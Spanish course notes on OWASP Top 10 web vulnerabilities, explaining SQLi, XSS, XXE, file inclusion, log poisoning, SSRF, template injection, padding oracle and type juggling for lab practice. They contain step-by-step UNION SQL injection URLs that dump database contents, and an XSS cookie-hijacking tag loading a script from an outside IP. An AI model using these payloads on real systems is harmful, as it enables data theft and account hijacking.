47 KiB
TEMA 6 - OWASP TOP 10 y vulnerabilidades web
Índice
- TEMA 6 - OWASP TOP 10 y vulnerabilidades web
- 6.1 SQL Injection (SQLi)
- 6.2 CrossSite Scripting (XSS)
- 6.3 XML External Entity Injection (XXE)
- 6.4 Local File Inclusion (LFI)
- 6.5 Remote File Inclusion (RFI)
- 6.6 Log Poisoning (LFI --> RCE)
- 6.7 Cross-Site Request Forgery (CSRF)
- 6.8 Server-Side Request Forgery (SSRF)
- 6.9 Server-Side Template Injection (SSTI)
- 6.10 Client-Side Template Injection (CSTI)
- 6.11 Ataque de oráculo de relleno de datos (Padding Oracle Attack)
- 6.12 Ataque Type Juggling
- 6.13 Inyecciones NoSQL
- 6.14 Inyecciones LDAP
- 6.15 Ataques de Deserialización
- 6.16 Inyecciones LaTex
- 6.17 Abuso de APIs
- 6.18 Abuso de subidas de archivos
- 6.19 Prototype Pollution
- 6.20 Ataques de transferencia de zona (AXFR - Full Zone Transfer)
- 6.21 Ataques de asignación masiva (Mass Assignment Attack)/Parameter Binding
- 6.22 Open Redirect
- 6.23 Enumeración y explotación de WebDAV
- 6.24 Enumeración y explotación de SQUID Proxies
- 6.25 Ataque ShellShock
- 6.26 Inyecciones XPath
- 6.27 Insecure Direct Object Reference (IDORs)
- 6.28 Intercambio de recursos de origen cruzado (CORS)
- 6.29 Ataque de Truncado SQL (SQL Truncation Attack)
- 6.30 Session Puzzling / Session Fixation / Session Variable Overloading
- 6.31 Enumeración y explotación de Json Web Tokens (JWT)
- 6.32 Condiciones de carrera (Race conditions)
- 6.33 Inyecciones CSS (CSSI)
- 6.34 Python - Ataque de Deserialización Yaml (DES-Yaml)
- 6.35 Python - Ataque de Deserialización Pickle (DES-Pickle)
- 6.36 GraphQL Introspection, Mutations e IDORs
6.1 SQL Injection (SQLi)
SQL Injection (SQLI) es una técnica de ataque utilizada para explotar vulnerabilidades en aplicaciones web que no validan adecuadamente la entrada del usuario en la consulta SQL que se envía a la base de datos. Los atacantes pueden utilizar esta técnica para ejecutar consultas SQL maliciosas y obtener información confidencial, como nombres de usuario, contraseñas y otra información almacenada en la base de datos.
Las inyecciones SQL se producen cuando los atacantes insertan código SQL malicioso en los campos de entrada de una aplicación web. Si la aplicación no valida adecuadamente la entrada del usuario, la consulta SQL maliciosa se ejecutará en la base de datos, lo que permitirá al atacante obtener información confidencial o incluso controlar la base de datos.
Hay varios tipos de inyecciones SQL, incluyendo:
- Inyección SQL basada en errores: Este tipo de inyección SQL aprovecha errores en el código SQL para obtener información. Por ejemplo, si una consulta devuelve un error con un mensaje específico, se puede utilizar ese mensaje para obtener información adicional del sistema.
- Inyección SQL basada en tiempo: Este tipo de inyección SQL utiliza una consulta que tarda mucho tiempo en ejecutarse para obtener información. Por ejemplo, si se utiliza una consulta que realiza una búsqueda en una tabla y se añade un retardo en la consulta, se puede utilizar ese retardo para obtener información adicional
- Inyección SQL basada en booleanos: Este tipo de inyección SQL utiliza consultas con expresiones booleanas para obtener información adicional. Por ejemplo, se puede utilizar una consulta con una expresión booleana para determinar si un usuario existe en una base de datos.
- Inyección SQL basada en uniones: Este tipo de inyección SQL utiliza la cláusula “UNION” para combinar dos o más consultas en una sola. Por ejemplo, si se utiliza una consulta que devuelve información sobre los usuarios y se agrega una cláusula “UNION” con otra consulta que devuelve información sobre los permisos, se puede obtener información adicional sobre los permisos de los usuarios.
- Inyección SQL basada en stacked queries: Este tipo de inyección SQL aprovecha la posibilidad de ejecutar múltiples consultas en una sola sentencia para obtener información adicional. Por ejemplo, se puede utilizar una consulta que inserta un registro en una tabla y luego agregar una consulta adicional que devuelve información sobre la tabla.
Cabe destacar que, además de las técnicas citadas anteriormente, existen muchos otros tipos de inyecciones SQL. Sin embargo, estas son algunas de las más populares y comúnmente utilizadas por los atacantes en páginas web vulnerables.
Asimismo, es necesario hacer una breve distinción de los diferentes tipos de bases de datos existentes:
- Bases de datos relacionales: Las inyecciones SQL son más comunes en bases de datos relacionales como MySQL, SQL Server, Oracle, PostgreSQL, entre otros. En estas bases de datos, se utilizan consultas SQL para acceder a los datos y realizar operaciones en la base de datos.
- Bases de datos NoSQL: Aunque las inyecciones SQL son menos comunes en bases de datos NoSQL, todavía es posible realizar este tipo de ataque. Las bases de datos NoSQL, como MongoDB o Cassandra, no utilizan el lenguaje SQL, sino un modelo de datos diferente. Sin embargo, es posible realizar inyecciones de comandos en las consultas que se realizan en estas bases de datos. Esto lo veremos unas clases más adelante.
- Bases de datos de grafos: Las bases de datos de grafos, como Neo4j, también pueden ser vulnerables a inyecciones SQL. En estas bases de datos, se utilizan consultas para acceder a los nodos y relaciones que se han almacenado en la base de datos.
- Bases de datos de objetos: Las bases de datos de objetos, como db4o, también pueden ser vulnerables a inyecciones SQL. En estas bases de datos, se utilizan consultas para acceder a los objetos que se han almacenado en la base de datos.
Es importante entender los diferentes tipos de inyecciones SQL y cómo pueden utilizar se para obtener información confidencial y controlar una base de datos. Los desarrolladores deben asegurarse de validar adecuadamente la entrada del usuario y de utilizar técnicas de defensa, como la sanitización de entrada y la preparación de consultas SQL, para prevenir las inyecciones SQL en sus aplicaciones web.
A continuación, se proporciona el enlace a la utilidad online de ‘ExtendsClass‘ que utilizamos en esta clase:
- ExtendsClass MySQL Online: https://extendsclass.com/mysql-online.html
Ejercicios
- Levantar apache y mysql
- Crear una base de datos con una tabla
- Crearemos el fichero searchUser.php y lo dejaremos en el directorio /var/www/html
- Con la url
http://localhost/searchUsers.php?id=1
deberíamos obtener el username del id 1. - Tendremos que probar el número de id con order, cuando no de error sabremos el número de columnas que tiene la tabla:
http://localhost/searchUsers.php?id=1' order by 100-- -
- Con
http://localhost/searchUsers.php?id=1' union select "test"-- -
añade el testo "test" a la columna, pero tiene que haber el número de valores del número de columna. Si cambiamos el id por uno que no exista veremos que se muestra en pantalla. - Con
http://localhost/searchUsers.php?id=11212' union select database()-- -
veremos el nombre de la BBDD. - Con
http://localhost/searchUsers.php?id=11212' union select schema_name from information_schema.schemata-- -
veremos la primera base de datos. Ya con limits podremos ver las siguientes:http://localhost/searchUsers.php?id=11212' union select schema_name from information_schema.schemata limit 0,1-- -
http://localhost/searchUsers.php?id=11212' union select schema_name from information_schema.schemata limit 1,1-- -
- Con
http://localhost/searchUsers.php?id=165541%27%20union%20select%20group_concat(schema_name)%20from%20information_schema.schemata--%20-
veremos todas las BBDD. - Con
http://localhost/searchUsers.php?id=11212' union select group_concat(table_name) from information_schema.tables where table_schema='nombreBBDD'-- -
veremos las tablas de la BBDD. - Con
http://localhost/searchUsers.php?id=11212' union select group_concat(column_name) from information_schema.columns where table_schema='nombreBBDD' and table_name='nombreTabla'-- -
veremos las columnas de la tabla. - Con lo cual,
http://localhost/searchUsers.php?id=11212' union select group_concat(NombreColumna) from nombreBBDD.nombreTabla-- -
veremos el contenido de la columna. ¡Se tensa!
Preparamos el fichero php searchUsers.php para hacer unas pruebas con Python para cuando no tengamos el output en pantalla.
- Comprobamos uno a uno el hexadecimal: sqli.py
- Comprobamos si el contenido es igual que tarde más tiempo: sqli_time.py
6.2 CrossSite Scripting (XSS)
Una vulnerabilidad XSS (Cross-Site Scripting) es un tipo de vulnerabilidad de seguridad informática que permite a un atacante ejecutar código malicioso en la página web de un usuario sin su conocimiento o consentimiento. Esta vulnerabilidad permite al atacante robar información personal, como nombres de usuario, contraseñas y otros datos confidenciales.
En esencia, un ataque XSS implica la inserción de código malicioso en una página web vulnerable, que luego se ejecuta en el navegador del usuario que accede a dicha página. El código malicioso puede ser cualquier cosa, desde scripts que redirigen al usuario a otra página, hasta secuencias de comandos que registran pulsaciones de teclas o datos de formularios y los envían a un servidor remoto.
Existen varios tipos de vulnerabilidades XSS, incluyendo las siguientes:
- Reflejado (Reflected): Este tipo de XSS se produce cuando los datos proporcionados por el usuario se reflejan en la respuesta HTTP sin ser verificados adecuadamente. Esto permite a un atacante inyectar código malicioso en la respuesta, que luego se ejecuta en el navegador del usuario.
- Almacenado (Stored): Este tipo de XSS se produce cuando un atacante es capaz de almacenar código malicioso en una base de datos o en el servidor web que aloja una página web vulnerable. Este código se ejecuta cada vez que se carga la página.
- DOM-Based: Este tipo de XSS se produce cuando el código malicioso se ejecuta en el navegador del usuario a través del DOM (Modelo de Objetos del Documento). Esto se produce cuando el código JavaScript en una página web modifica el DOM en una forma que es vulnerable a la inyección de código malicioso.
Los ataques XSS pueden tener graves consecuencias para las empresas y los usuarios individuales. Por esta razón, es esencial que los desarrolladores web implementen medidas de seguridad adecuadas para prevenir vulnerabilidades XSS. Estas medidas pueden incluir la validación de datos de entrada, la eliminación de código HTML peligroso, y la limitación de los permisos de JavaScript en el navegador del usuario.
A continuación, se proporciona el proyecto de Github correspondiente al laboratorio que nos estaremos montando para poner en práctica la vulnerabilidad XSS:
-
secDevLabs: https://github.com/globocom/secDevLabs
-
Ejemplo de ataque XSS: email.js
-
Ejemplo de phising: email_pass.js
Todo se debe tener un puerto web en escucha:
python3 -m HTTP.server 80
- Ejemplo de keylogger: keylogger.js
En este caso levantaremos un servidor con el script server_keylogger.py para tener más limpia la salida.
-
Podemos redirigir a una página web:
<script> window.location.href = "https://vergaracarmona.es"; </script>
-
Podemos realizar un hijacking cookie con el script hijacking_cookie.js
<script src="https://192.168.2.105/test.js"></script>
Vulnhub es una plataforma de seguridad informática que se centra en la creación y distribución de máquinas virtuales vulnerables con el fin de mejorar las habilidades de los profesionales de la seguridad informática. La plataforma proporciona una amplia variedad de máquinas virtuales (VM) que se han configurado para contener vulnerabilidades deliberadas que pueden ser explotadas para aprender y reforzar técnicas de hacking.
A continuación, se proporciona el enlace a la máquina que nos descargamos en esta clase para practicar esta vulnerabilidad:
- Máquina MyExpense: https://www.vulnhub.com/entry/myexpense-1,405/
6.3 XML External Entity Injection (XXE)
Cuando hablamos de XML External Entity (XXE) Injection, a lo que nos referimos es a una vulnerabilidad de seguridad en la que un atacante puede utilizar una entrada XML maliciosa para acceder a recursos del sistema que normalmente no estarían disponibles, como archivos locales o servicios de red. Esta vulnerabilidad puede ser explotada en aplicaciones que utilizan XML para procesar entradas, como aplicaciones web o servicios web.
Un ataque XXE generalmente implica la inyección de una entidad XML maliciosa en una solicitud HTTP, que es procesada por el servidor y puede resultar en la exposición de información sensible. Por ejemplo, un atacante podría inyectar una entidad XML que hace referencia a un archivo en el sistema del servidor y obtener información confidencial de ese archivo.
Un caso común en el que los atacantes pueden explotar XXE es cuando el servidor web no valida adecuadamente la entrada de datos XML que recibe. En este caso, un atacante puede inyectar una entidad XML maliciosa que contiene referencias a archivos del sistema que el servidor tiene acceso. Esto puede permitir que el atacante obtenga información sensible del sistema, como contraseñas, nombres de usuario, claves de API, entre otros datos confidenciales.
Cabe destacar que, en ocasiones, los ataques XML External Entity (XXE) Injection no siempre resultan en la exposición directa de información sensible en la respuesta del servidor. En algunos casos, el atacante debe “ir a ciegas” para obtener información confidencial a través de técnicas adicionales.
Una forma común de “ir a ciegas” en un ataque XXE es enviar peticiones especialmente diseñadas desde el servidor para conectarse a un Document Type Definition (DTD) definido externamente. El DTD se utiliza para validar la estructura de un archivo XML y puede contener referencias a recursos externos, como archivos en el sistema del servidor.
Este enfoque de “ir a ciegas” en un ataque XXE puede ser más lento y requiere más trabajo que una explotación directa de la vulnerabilidad. Sin embargo, puede ser efectivo en casos donde el atacante tiene una idea general de los recursos disponibles en el sistema y desea obtener información específica sin ser detectado.
Adicionalmente, en algunos casos, un ataque XXE puede ser utilizado como un vector de ataque para explotar una vulnerabilidad de tipo SSRF (Server-Side Request Forgery). Esta técnica de ataque puede permitir a un atacante escanear puertos internos en una máquina que, normalmente, están protegidos por un firewall externo.
Un ataque SSRF implica enviar solicitudes HTTP desde el servidor hacia direcciones IP o puertos internos de la red de la víctima. El ataque XXE se puede utilizar para desencadenar un SSRF al inyectar una entidad XML maliciosa que contiene una referencia a una dirección IP o puerto interno en la red del servidor.
Al explotar con éxito un SSRF, el atacante puede enviar solicitudes HTTP a servicios internos que de otra manera no estarían disponibles para la red externa. Esto puede permitir al atacante obtener información sensible o incluso tomar el control de los servicios internos.
A continuación, se proporciona el enlace al proyecto de Github correspondiente al laboratorio que estaremos desplegando en esta clase para practicar esta vulnerabilidad:
6.4 Local File Inclusion (LFI)
La vulnerabilidad Local File Inclusion (LFI) es una vulnerabilidad de seguridad informática que se produce cuando una aplicación web no valida adecuadamente las entradas de usuario, permitiendo a un atacante acceder a archivos locales en el servidor web.
En muchos casos, los atacantes aprovechan la vulnerabilidad de LFI al abusar de parámetros de entrada en la aplicación web. Los parámetros de entrada son datos que los usuarios ingresan en la aplicación web, como las URL o los campos de formulario. Los atacantes pueden manipular los parámetros de entrada para incluir rutas de archivo local en la solicitud, lo que puede permitirles acceder a archivos en el servidor web. Esta técnica se conoce como “Path Traversal” y se utiliza comúnmente en ataques de LFI.
En el ataque de Path Traversal, el atacante utiliza caracteres especiales y caracteres de escape en los parámetros de entrada para navegar a través de los directorios del servidor web y acceder a archivos en ubicaciones sensibles del sistema.
Por ejemplo, el atacante podría incluir “../” en el parámetro de entrada para navegar hacia arriba en la estructura del directorio y acceder a archivos en ubicaciones sensibles del sistema.
Para prevenir los ataques LFI, es importante que los desarrolladores de aplicaciones web validen y filtren adecuadamente la entrada del usuario, limitando el acceso a los recursos del sistema y asegurándose de que los archivos sólo se puedan incluir desde ubicaciones permitidas. Además, las empresas deben implementar medidas de seguridad adecuadas, como el cifrado de archivos y la limitación del acceso de usuarios no autorizados a los recursos del sistema.
A continuación, se os proporciona el enlace directo a la herramienta que utilizamos al final de esta clase para abusar de los ‘Filter Chains‘ y conseguir así ejecución remota de comandos:
- PHP Filter Chain Generator: https://github.com/synacktiv/php_filter_chain_generator
6.5 Remote File Inclusion (RFI)
La vulnerabilidad Remote File Inclusion (RFI) es una vulnerabilidad de seguridad en la que un atacante puede incluir archivos remotos en una aplicación web vulnerable. Esto puede permitir al atacante ejecutar código malicioso en el servidor web y comprometer el sistema.
En un ataque de RFI, el atacante utiliza una entrada del usuario, como una URL o un campo de formulario, para incluir un archivo remoto en la solicitud. Si la aplicación web no valida adecuadamente estas entradas, procesará la solicitud y devolverá el contenido del archivo remoto al atacante.
Un atacante puede utilizar esta vulnerabilidad para incluir archivos remotos maliciosos que contienen código malicioso, como virus o troyanos, o para ejecutar comandos en el servidor vulnerable. En algunos casos, el atacante puede dirigir la solicitud hacia un recurso PHP alojado en un servidor de su propiedad, lo que le brinda un mayor grado de control en el ataque.
A continuación, se proporciona el enlace al proyecto de Github correspondiente al laboratorio que estaremos desplegando para practicar esta vulnerabilidad:
Asimismo, se os comparte el enlace directo para la descarga del plugin ‘Gwolle Guestbook‘ de WordPress:
- Gwolle Guestbook: https://es.wordpress.org/plugins/gwolle-gb/
6.6 Log Poisoning (LFI --> RCE)
El Log Poisoning es una técnica de ataque en la que un atacante manipula los archivos de registro (logs) de una aplicación web para lograr un resultado malintencionado. Esta técnica puede ser utilizada en conjunto con una vulnerabilidad LFI para lograr una ejecución remota de comandos en el servidor.
Como ejemplos para esta clase, trataremos de envenenar los recursos ‘auth.log‘ de SSH y ‘access.log‘ de Apache, comenzando mediante la explotación de una vulnerabilidad LFI primeramente para acceder a estos archivos de registro. Una vez hayamos logrado acceder a estos archivos, veremos cómo manipularlos para incluir código malicioso.
En el caso de los logs de SSH, el atacante puede inyectar código PHP en el campo de usuario durante el proceso de autenticación. Esto permite que el código se registre en el log ‘auth.log‘ de SSH y sea interpretado en el momento en el que el archivo de registro sea leído. De esta manera, el atacante puede lograr una ejecución remota de comandos en el servidor.
En el caso del archivo ‘access.log‘ de Apache, el atacante puede inyectar código PHP en el campo User-Agent de una solicitud HTTP. Este código malicioso se registra en el archivo de registro ‘access.log’ de Apache y se ejecuta cuando el archivo de registro es leído. De esta manera, el atacante también puede lograr una ejecución remota de comandos en el servidor.
Cabe destacar que en algunos sistemas, el archivo ‘auth.log‘ no es utilizado para registrar los eventos de autenticación de SSH. En su lugar, los eventos de autenticación pueden ser registrados en archivos de registro con diferentes nombres, como ‘btmp‘.
Por ejemplo, en sistemas basados en Debian y Ubuntu, los eventos de autenticación de SSH se registran en el archivo ‘auth.log’. Sin embargo, en sistemas basados en Red Hat y CentOS, los eventos de autenticación de SSH se registran en el archivo ‘btmp’. Aunque a veces pueden haber excepciones.
Para prevenir el Log Poisoning, es importante que los desarrolladores limiten el acceso a los archivos de registro y aseguren que estos archivos se almacenen en un lugar seguro. Además, es importante que se valide adecuadamente la entrada del usuario y se filtre cualquier intento de entrada maliciosa antes de registrarla en los archivos de registro.
6.7 Cross-Site Request Forgery (CSRF)
Si a la hora de hacer el ‘docker-compose up -d‘, os salta un error de tipo: “networks.net-10.9.0.0 value Additional properties are not allowed (‘name’ was unexpected)“, lo que tenéis que hacer es en el archivo ‘docker-compose.yml‘, borrar la línea número 41, la que pone “name: net-10.9.0.0“.
Con hacer esto, ya podréis desplegar el laboratorio sin ningún problema.
El Cross-Site Request Forgery (CSRF) es una vulnerabilidad de seguridad en la que un atacante engaña a un usuario legítimo para que realice una acción no deseada en un sitio web sin su conocimiento o consentimiento.
En un ataque CSRF, el atacante engaña a la víctima para que haga clic en un enlace malicioso o visite una página web maliciosa. Esta página maliciosa puede contener una solicitud HTTP que realiza una acción no deseada en el sitio web de la víctima.
Por ejemplo, imagina que un usuario ha iniciado sesión en su cuenta bancaria en línea y luego visita una página web maliciosa. La página maliciosa contiene un formulario que envía una solicitud HTTP al sitio web del banco para transferir fondos de la cuenta bancaria del usuario a la cuenta del atacante. Si el usuario hace clic en el botón de envío sin saber que está realizando una transferencia, el ataque CSRF habrá sido exitoso.
El ataque CSRF puede ser utilizado para realizar una amplia variedad de acciones no deseadas, incluyendo la transferencia de fondos, la modificación de la información de la cuenta, la eliminación de datos y mucho más.
Para prevenir los ataques CSRF, los desarrolladores de aplicaciones web deben implementar medidas de seguridad adecuadas, como la inclusión de tokens CSRF en los formularios y solicitudes HTTP. Estos tokens CSRF permiten que la aplicación web verifique que la solicitud proviene de un usuario legítimo y no de un atacante malintencionado (aunque cuidadín que también se pueden hacer cositas con esto).
Os compartimos a continuación el enlace al comprimido ZIP que utilizamos en esta clase para desplegar el laboratorio donde practicamos esta vulnerabilidad:
6.8 Server-Side Request Forgery (SSRF)
El Server-Side Request Forgery (SSRF) es una vulnerabilidad de seguridad en la que un atacante puede forzar a un servidor web para que realice solicitudes HTTP en su nombre.
En un ataque de SSRF, el atacante utiliza una entrada del usuario, como una URL o un campo de formulario, para enviar una solicitud HTTP a un servidor web. El atacante manipula la solicitud para que se dirija a un servidor vulnerable o a una red interna a la que el servidor web tiene acceso.
El ataque de SSRF puede permitir al atacante acceder a información confidencial, como contraseñas, claves de API y otros datos sensibles, y también puede llegar a permitir al atacante (en función del escenario) ejecutar comandos en el servidor web o en otros servidores en la red interna.
Una de las diferencias clave entre el SSRF y el CSRF es que el SSRF se ejecuta en el servidor web en lugar del navegador del usuario. El atacante no necesita engañar a un usuario legítimo para hacer clic en un enlace malicioso, ya que puede enviar la solicitud HTTP directamente al servidor web desde una fuente externa.
Para prevenir los ataques de SSRF, es importante que los desarrolladores de aplicaciones web validen y filtren adecuadamente la entrada del usuario y limiten el acceso del servidor web a los recursos de la red interna. Además, los servidores web deben ser configurados para limitar el acceso a los recursos sensibles y restringir el acceso de los usuarios no autorizados.
En esta clase, estaremos utilizando Docker para crear redes personalizadas en las que podremos simular un escenario de red interna. En esta red interna, intentaremos a través del SSRF apuntar a un recurso existente que no es accesible externamente, lo que nos permitirá explorar y comprender mejor la explotación de esta vulnerabilidad.
Para crear una nueva red en Docker, podemos utilizar el siguiente comando:
➜ docker network create --subnet= <nombre_de_red>
Donde:
- subnet: es la dirección IP de la subred de la red que estamos creando. Es importante tener en cuenta que esta dirección IP debe ser única y no debe entrar en conflicto con otras redes o subredes existentes en nuestro sistema.
- nombre_de_red: es el nombre que le damos a la red que estamos creando.
Además de los campos mencionados anteriormente, también podemos utilizar la opción ‘–driver‘ en el comando ‘docker network create’ para especificar el controlador de red que deseamos utilizar.
Por ejemplo, si queremos crear una red de tipo “bridge“, podemos utilizar el siguiente comando:
➜ docker network create --subnet= --driver=bridge <nombre_de_red>
En este caso, estamos utilizando la opción ‘–driver=bridge‘ para indicar que deseamos crear una red de tipo “bridge“. La opción –driver nos permite especificar el controlador de red que deseamos utilizar, que puede ser “bridge“, “overlay“, “macvlan“, “ipvlan” u otro controlador compatible con Docker.
6.9 Server-Side Template Injection (SSTI)
El Server-Side Template Injection (SSTI) es una vulnerabilidad de seguridad en la que un atacante puede inyectar código malicioso en una plantilla de servidor.
Las plantillas de servidor son archivos que contienen código que se utiliza para generar contenido dinámico en una aplicación web. Los atacantes pueden aprovechar una vulnerabilidad de SSTI para inyectar código malicioso en una plantilla de servidor, lo que les permite ejecutar comandos en el servidor y obtener acceso no autorizado tanto a la aplicación web como a posibles datos sensibles.
Por ejemplo, imagina que una aplicación web utiliza plantillas de servidor para generar correos electrónicos personalizados. Un atacante podría aprovechar una vulnerabilidad de SSTI para inyectar código malicioso en la plantilla de correo electrónico, lo que permitiría al atacante ejecutar comandos en el servidor y obtener acceso no autorizado a los datos sensibles de la aplicación web.
En un caso práctico, los atacantes pueden detectar si una aplicación Flask está en uso, por ejemplo, utilizando herramientas como WhatWeb. Si un atacante detecta que una aplicación Flask está en uso, puede intentar explotar una vulnerabilidad de SSTI, ya que Flask utiliza el motor de plantillas Jinja2, que es vulnerable a este tipo de ataque.
Para los atacantes, detectar una aplicación Flask o Python puede ser un primer paso en el proceso de intentar explotar una vulnerabilidad de SSTI. Sin embargo, los atacantes también pueden intentar identificar vulnerabilidades de SSTI en otras aplicaciones web que utilicen diferentes frameworks de plantillas, como Django, Ruby on Rails, entre otros.
Para prevenir los ataques de SSTI, los desarrolladores de aplicaciones web deben validar y filtrar adecuadamente la entrada del usuario y utilizar herramientas y frameworks de plantillas seguros que implementen medidas de seguridad para prevenir la inyección de código malicioso.
- Payloads all the things: https://github.com/swisskyrepo/PayloadsAllTheThings
6.10 Client-Side Template Injection (CSTI)
El Client-Side Template Injection (CSTI) es una vulnerabilidad de seguridad en la que un atacante puede inyectar código malicioso en una plantilla de cliente, que se ejecuta en el navegador del usuario en lugar del servidor.
A diferencia del Server-Side Template Injection (SSTI), en el que la plantilla de servidor se ejecuta en el servidor y es responsable de generar el contenido dinámico, en el CSTI, la plantilla de cliente se ejecuta en el navegador del usuario y se utiliza para generar contenido dinámico en el lado del cliente.
Los atacantes pueden aprovechar una vulnerabilidad de CSTI para inyectar código malicioso en una plantilla de cliente, lo que les permite ejecutar comandos en el navegador del usuario y obtener acceso no autorizado a la aplicación web y a los datos sensibles.
Por ejemplo, imagina que una aplicación web utiliza plantillas de cliente para generar contenido dinámico. Un atacante podría aprovechar una vulnerabilidad de CSTI para inyectar código malicioso en la plantilla de cliente, lo que permitiría al atacante ejecutar comandos en el navegador del usuario y obtener acceso no autorizado a los datos sensibles de la aplicación web.
Una derivación común en un ataque de Client-Side Template Injection (CSTI) es aprovecharlo para realizar un ataque de Cross-Site Scripting (XSS).
Una vez que un atacante ha inyectado código malicioso en la plantilla de cliente, puede manipular los datos que se muestran al usuario, lo que le permite ejecutar código JavaScript en el navegador del usuario. A través de este código malicioso, el atacante puede intentar robar la cookie de sesión del usuario, lo que le permitiría obtener acceso no autorizado a la cuenta del usuario y realizar acciones maliciosas en su nombre.
Para prevenir los ataques de CSTI, los desarrolladores de aplicaciones web deben validar y filtrar adecuadamente la entrada del usuario y utilizar herramientas y frameworks de plantillas seguros que implementen medidas de seguridad para prevenir la inyección de código malicioso.
6.11 Ataque de oráculo de relleno de datos (Padding Oracle Attack)
Un ataque de oráculo de relleno (Padding Oracle Attack) es un tipo de ataque contra datos cifrados que permite al atacante descifrar el contenido de los datos sin conocer la clave.
Un oráculo hace referencia a una “indicación” que brinda a un atacante información sobre si la acción que ejecuta es correcta o no. Imagina que estás jugando a un juego de mesa o de cartas con un niño: la cara se le ilumina con una gran sonrisa cuando cree que está a punto de hacer un buen movimiento. Eso es un oráculo. En tu caso, como oponente, puedes usar este oráculo para planear tu próximo movimiento según corresponda.
El relleno es un término criptográfico específico. Algunos cifrados, que son los algoritmos que se usan para cifrar los datos, funcionan en bloques de datos en los que cada bloque tiene un tamaño fijo. Si los datos que deseas cifrar no tienen el tamaño adecuado para rellenar los bloques, los datos se rellenan automáticamente hasta que lo hacen. Muchas formas de relleno requieren que este siempre esté presente, incluso si la entrada original tenía el tamaño correcto. Esto permite que el relleno siempre se quite de manera segura tras el descifrado.
Al combinar ambos elementos, una implementación de software con un oráculo de relleno revela si los datos descifrados tienen un relleno válido. El oráculo podría ser algo tan sencillo como devolver un valor que dice “Relleno no válido”, o bien algo más complicado como tomar un tiempo considerablemente diferente para procesar un bloque válido en lugar de uno no válido.
Los cifrados basados en bloques tienen otra propiedad, denominada “modo“, que determina la relación de los datos del primer bloque con los datos del segundo bloque, y así sucesivamente. Uno de los modos más usados es CBC. CBC presenta un bloque aleatorio inicial, conocido como “vector de inicialización” (IV), y combina el bloque anterior con el resultado del cifrado estático a fin de que cifrar el mismo mensaje con la misma clave no siempre genere la misma salida cifrada.
Un atacante puede usar un oráculo de relleno, en combinación con la manera de estructurar los datos de CBC, para enviar mensajes ligeramente modificados al código que expone el oráculo y seguir enviando datos hasta que el oráculo indique que son correctos. Desde esta respuesta, el atacante puede descifrar el mensaje byte a byte.
Las redes informáticas modernas son de una calidad tan alta que un atacante puede detectar diferencias muy pequeñas (menos de 0,1 ms) en el tiempo de ejecución en sistemas remotos. Las aplicaciones que suponen que un descifrado correcto solo puede ocurrir cuando no se alteran los datos pueden resultar vulnerables a ataques desde herramientas que están diseñadas para observar diferencias en el descifrado correcto e incorrecto. Si bien esta diferencia de temporalización puede ser más significativa en algunos lenguajes o bibliotecas que en otros, ahora se cree que se trata de una amenaza práctica para todos los lenguajes y las bibliotecas cuando se tiene en cuenta la respuesta de la aplicación ante el error.
Este tipo de ataque se basa en la capacidad de cambiar los datos cifrados y probar el resultado con el oráculo. La única manera de mitigar completamente el ataque es detectar los cambios en los datos cifrados y rechazar que se hagan acciones en ellos. La manera estándar de hacerlo es crear una firma para los datos y validarla antes de realizar cualquier operación. La firma debe ser verificable y el atacante no debe poder crearla; de lo contrario, podría modificar los datos cifrados y calcular una firma nueva en función de esos datos cambiados.
Un tipo común de firma adecuada se conoce como “código de autenticación de mensajes hash con clave” (HMAC). Un HMAC difiere de una suma de comprobación en que requiere una clave secreta, que solo conoce la persona que genera el HMAC y la persona que la valida. Si no se tiene esta clave, no se puede generar un HMAC correcto. Cuando recibes los datos, puedes tomar los datos cifrados, calcular de manera independiente el HMAC con la clave secreta que compartes tanto tú como el emisor y, luego, comparar el HMAC que este envía respecto del que calculaste. Esta comparación debe ser de tiempo constante; de lo contrario, habrás agregado otro oráculo detectable, permitiendo así un tipo de ataque distinto.
En resumen, para usar de manera segura los cifrados de bloques de CBC rellenados, es necesario combinarlos con un HMAC (u otra comprobación de integridad de datos) que se valide mediante una comparación de tiempo constante antes de intentar descifrar los datos. Dado que todos los mensajes modificados tardan el mismo tiempo en generar una respuesta, el ataque se evita.
El ataque de oráculo de relleno puede parecer un poco complejo de entender, ya que implica un proceso de retroalimentación para adivinar el contenido cifrado y modificar el relleno. Sin embargo, existen herramientas como PadBuster que pueden automatizar gran parte del proceso.
PadBuster es una herramienta diseñada para automatizar el proceso de descifrado de mensajes cifrados en modo CBC que utilizan relleno PKCS #7. La herramienta permite a los atacantes enviar peticiones HTTP con rellenos maliciosos para determinar si el relleno es válido o no. De esta forma, los atacantes pueden adivinar el contenido cifrado y descifrar todo el mensaje.
A continuación, se proporciona el enlace directo de descarga a la máquina ‘Padding Oracle’ de Vulnhub, la cual estaremos importando en VMWare para practicar esta vulnerabilidad:
- Pentester Lab – Padding Oracle: https://www.vulnhub.com/?q=padding+oracle
6.12 Ataque Type Juggling
Un ataque de Type Juggling (o “cambio de tipo” en español) es una técnica utilizada en programación para manipular el tipo de dato de una variable con el fin de engañar a un programa y hacer que éste haga algo que no debería.
La mayoría de los lenguajes de programación utilizan tipos de datos para clasificar la información almacenada en una variable, como enteros, cadenas, flotantes, booleanos, etc. Los programas utilizan estos tipos de datos para realizar operaciones matemáticas, comparaciones y otras tareas específicas. Sin embargo, los atacantes pueden explotar vulnerabilidades en los programas que no validan adecuadamente los tipos de datos que se les proporcionan.
En un ataque de Type Juggling, un atacante manipula los datos de entrada del programa para cambiar el tipo de dato de una variable. Por ejemplo, el atacante podría proporcionar una cadena de caracteres que “se parece” a un número entero, pero que en realidad no lo es. Si el programa no valida adecuadamente el tipo de dato de la variable, podría intentar realizar operaciones matemáticas en esa variable y obtener resultados inesperados.
Un ejemplo común de cómo se puede utilizar un ataque de Type Juggling para burlar la autenticación es en un sistema que utiliza comparaciones de cadena para verificar las contraseñas de los usuarios. En lugar de proporcionar una contraseña válida, el atacante podría proporcionar una cadena que se parece a una contraseña válida, pero que en realidad no lo es.
Por ejemplo, en PHP, una cadena que comienza con un número se convierte automáticamente en un número si se utiliza en una comparación numérica. Por lo tanto, si el atacante proporciona una cadena que comienza con el número cero (0), como “00123“, el programa la convertirá en el número entero 123.
Aquí se puede ver un ejemplo:
php > $num = 10;
php > $str_num = "10";
php > if ($num == $str_num) { echo "Son iguales"; }
Son iguales
php > $str_num = '0000000010';
php > if ($num == $str_num) { echo "Son iguales"; }
Son iguales
php > $str_num = '0000000012';
php > if ($num == $str_num) { echo "Son iguales"; }
php >
